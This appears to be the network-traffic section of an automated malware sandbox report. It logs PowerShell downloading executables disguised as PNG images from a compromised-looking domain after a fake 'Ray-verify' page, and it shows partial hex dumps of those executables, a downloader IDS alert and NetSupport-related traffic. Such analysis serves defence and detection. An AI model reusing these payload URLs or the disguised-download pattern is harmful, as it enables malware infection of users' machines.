00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:25 GMT Content-Type: image/png Content-Length: 396664 Last-Modified: Mon, 21 Oct 2024 07:35:59 GMT Connection: keep-alive ETag: "6716045f-60d78" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 88 e0 14 d6 cc 81 7a 85 cc 81 7a 85 cc 81 7a 85 a3 f7 d1 85 c9 81 7a 85 d7 1c e4 85 d4 81 7a 85 c5 f9 e9 85 c7 81 7a 85 cc 81 7b 85 59 81 7a 85 d7 1c d0 85 4b 81 7a 85 d7 1c d1 85 f7 81 7a 85 d7 1c e1 85 cd 81 7a 85 d7 1c e0 85 cd 81 7a 85 d7 1c e7 85 cd 81 7a 85 52 69 63 68 cc 81 7a 85 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 59 3f 58 56 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 c6 04 00 00 1a 01 00 00 00 00 00 f7 da 02 00 00 10 00 00 00 e0 04 00 00 00 15 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 06 00 00 04 00 00 27 cb 06 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 8c 05 00 6f 03 00 00 54 80 05 00 78 00 00 00 00 30 06 00 40 06 00 00 00 00 00 00 00 00 00 00 00 e4 05 00 78 29 00 00 00 40 06 00 5c 45 00 00 b0 e2 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 64 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 bc c5 04 00 00 10 00 00 00 c6 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2f b0 00 00 00 e0 04 00 00 b2 00 00 00 ca 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 68 82 00 00 00 a0 05 00 00 18 00 00 00 7c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 06 00 00 00 30 06 00 00 08 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 20 46 00 00 00 40 06 00 00 48 00 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Mon, 28 Oct 2024 18:46:19 GMTContent-Type: image/pngContent-Length: 18808Last-Modified: Mon, 21 Oct 2024 07:35:56 GMTConnection: keep-aliveETag: "6716045c-4978"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 73 76 0a bb 37 17 64 e8 37 17 64 e8 37 17 64 e8 2c 8a f8 e8 35 17 64 e8 2c 8a ce e8 34 17 64 e8 3e 6f f7 e8 30 17 64 e8 37 17 65 e8 0f 17 64 e8 2c 8a ca e8 33 17 64 e8 2c 8a ff e8 36 17 64 e8 2c 8a fe e8 36 17 64 e8 2c 8a f9 e8 36 17 64 e8 52 69 63 68 37 17 64 e8 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 66 88 bb 55 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 06 00 00 00 16 00 00 00 00 00 00 a0 10 00 00 00 10 00 00 00 20 00 00 00 00 00 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 00 00 00 04 00 00 b8 de 00 00 02 00 40 05 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 22 00 00 61 00 00 00 b8 20 00 00 50 00 00 00 00 40 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 20 00 00 78 29 00 00 00 50 00 00 84 00 00 00 40 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 04 00 00 00 10 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 1b 03 00 00 00 20 00 00 00 04 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 04 00 00 00 30 00 00 00 02 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ec 0d 00 00 00 40 00 00 00 0e 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 01 00 00 00 50 00 00 00 02 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Mon, 28 Oct 2024 18:46:25 GMTContent-Type: image/pngContent-Length: 77280Last-Modified: Mon, 21 Oct 2024 07:35:58 GMTConnection: keep-aliveETag: "6716045e-12de0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 67 cb 8f 56 23 aa e1 05 23 aa e1 05 23 aa e1 05 4c dc 7f 05 32 aa e1 05 2a d2 72 05 26 aa e1 05 23 aa e0 05 74 aa e1 05 4c dc 4b 05 75 aa e1 05 4c dc 4a 05 3e aa e1 05 4c dc 7b 05 22 aa e1 05 4c dc 7c 05 22 aa e1 05 52 69 63 68 23 aa e1 05 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 54 17 6f 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 82 00 00 00 4a 00 00 00 00 00 00 b4 21 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 01 00 00 04 00 00 51 1b 02 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 bd 00 00 3c 00 00 00 00 00 01 00 38 06 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 e0 5d 00 00 00 10 01 00 88 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ba 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 de 80 00 00 00 10 00 00 00 82 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2c 25 00 00 00 a0 00 00 00 26 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2d 00 00 00 d0 00 00 00 0e 00 00 00 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 38 06 00 00 00 00 01 00 00 08 00 00 00 ba 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 70 0c 00 00 00 10 01 00 00 0e 00 00 00 c2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Mon, 28 Oct 2024 18:46:25 GMTContent-Type: image/pngContent-Length: 396664Last-Modified: Mon, 21 Oct 2024 07:35:59 GMTConnection: keep-aliveETag: "6716045f-60d78"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 88 e0 14 d6 cc 81 7a 85 cc 81 7a 85 cc 81 7a 85 a3 f7 d1 85 c9 81 7a 85 d7 1c e4 85 d4 81 7a 85 c5 f9 e9 85 c7 81 7a 85 cc 81 7b 85 59 81 7a 85 d7 1c d0 85 4b 81 7a 85 d7 1c d1 85 f7 81 7a 85 d7 1c e1 85 cd 81 7a 85 d7 1c e0 85 cd 81 7a 85 d7 1c e7 85 cd 81 7a 85 52 69 63 68 cc 81 7a 85 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 59 3f 58 56 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0a 00 00 c6 04 00 00 1a 01 00 00 00 00 00 f7 da 02 00 00 10 00 00 00 e0 04 00 00 00 15 10 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 06 00 00 04 00 00 27 cb 06 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 c0 8c 05 00 6f 03 00 00 54 80 05 00 78 00 00 00 00 30 06 00 40 06 00 00 00 00 00 00 00 00 00 00 00 e4 05 00 78 29 00 00 00 40 06 00 5c 45 00 00 b0 e2 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 64 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 bc c5 04 00 00 10 00 00 00 c6 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 2f b0 00 00 00 e0 04 00 00 b2 00 00 00 ca 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 68 82 00 00 00 a0 05 00 00 18 00 00 00 7c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 40 06 00 00 00 30 06 00 00 08 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 20 46 00 00 00 40 06 00 00 48 00 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /o/o.png HTTP/1.1Host: traversecityspringbreak.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.16:49726 -> 166.1.160.211:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	HTTP traffic detected: GET /Ray-verify.html HTTP/1.1Host: inspyrehomedesign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: inspyrehomedesign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://inspyrehomedesign.com/Ray-verify.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=raZlZsppxEvfrBh&MD=OrKVw8+R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: inspyrehomedesign.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t8b1Qdw/1q.png HTTP/1.1Host: i.ibb.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://inspyrehomedesign.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t8b1Qdw/1q.png HTTP/1.1Host: i.ibb.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=raZlZsppxEvfrBh&MD=OrKVw8+R HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /Ray-verify.html HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: inspyrehomedesign.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /o/o.png HTTP/1.1Host: traversecityspringbreak.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /o/1.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/2.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/3.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/4.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/5.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/6.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/7.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/8.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/9.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/10.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/11.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /o/12.png HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: traversecityspringbreak.com
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

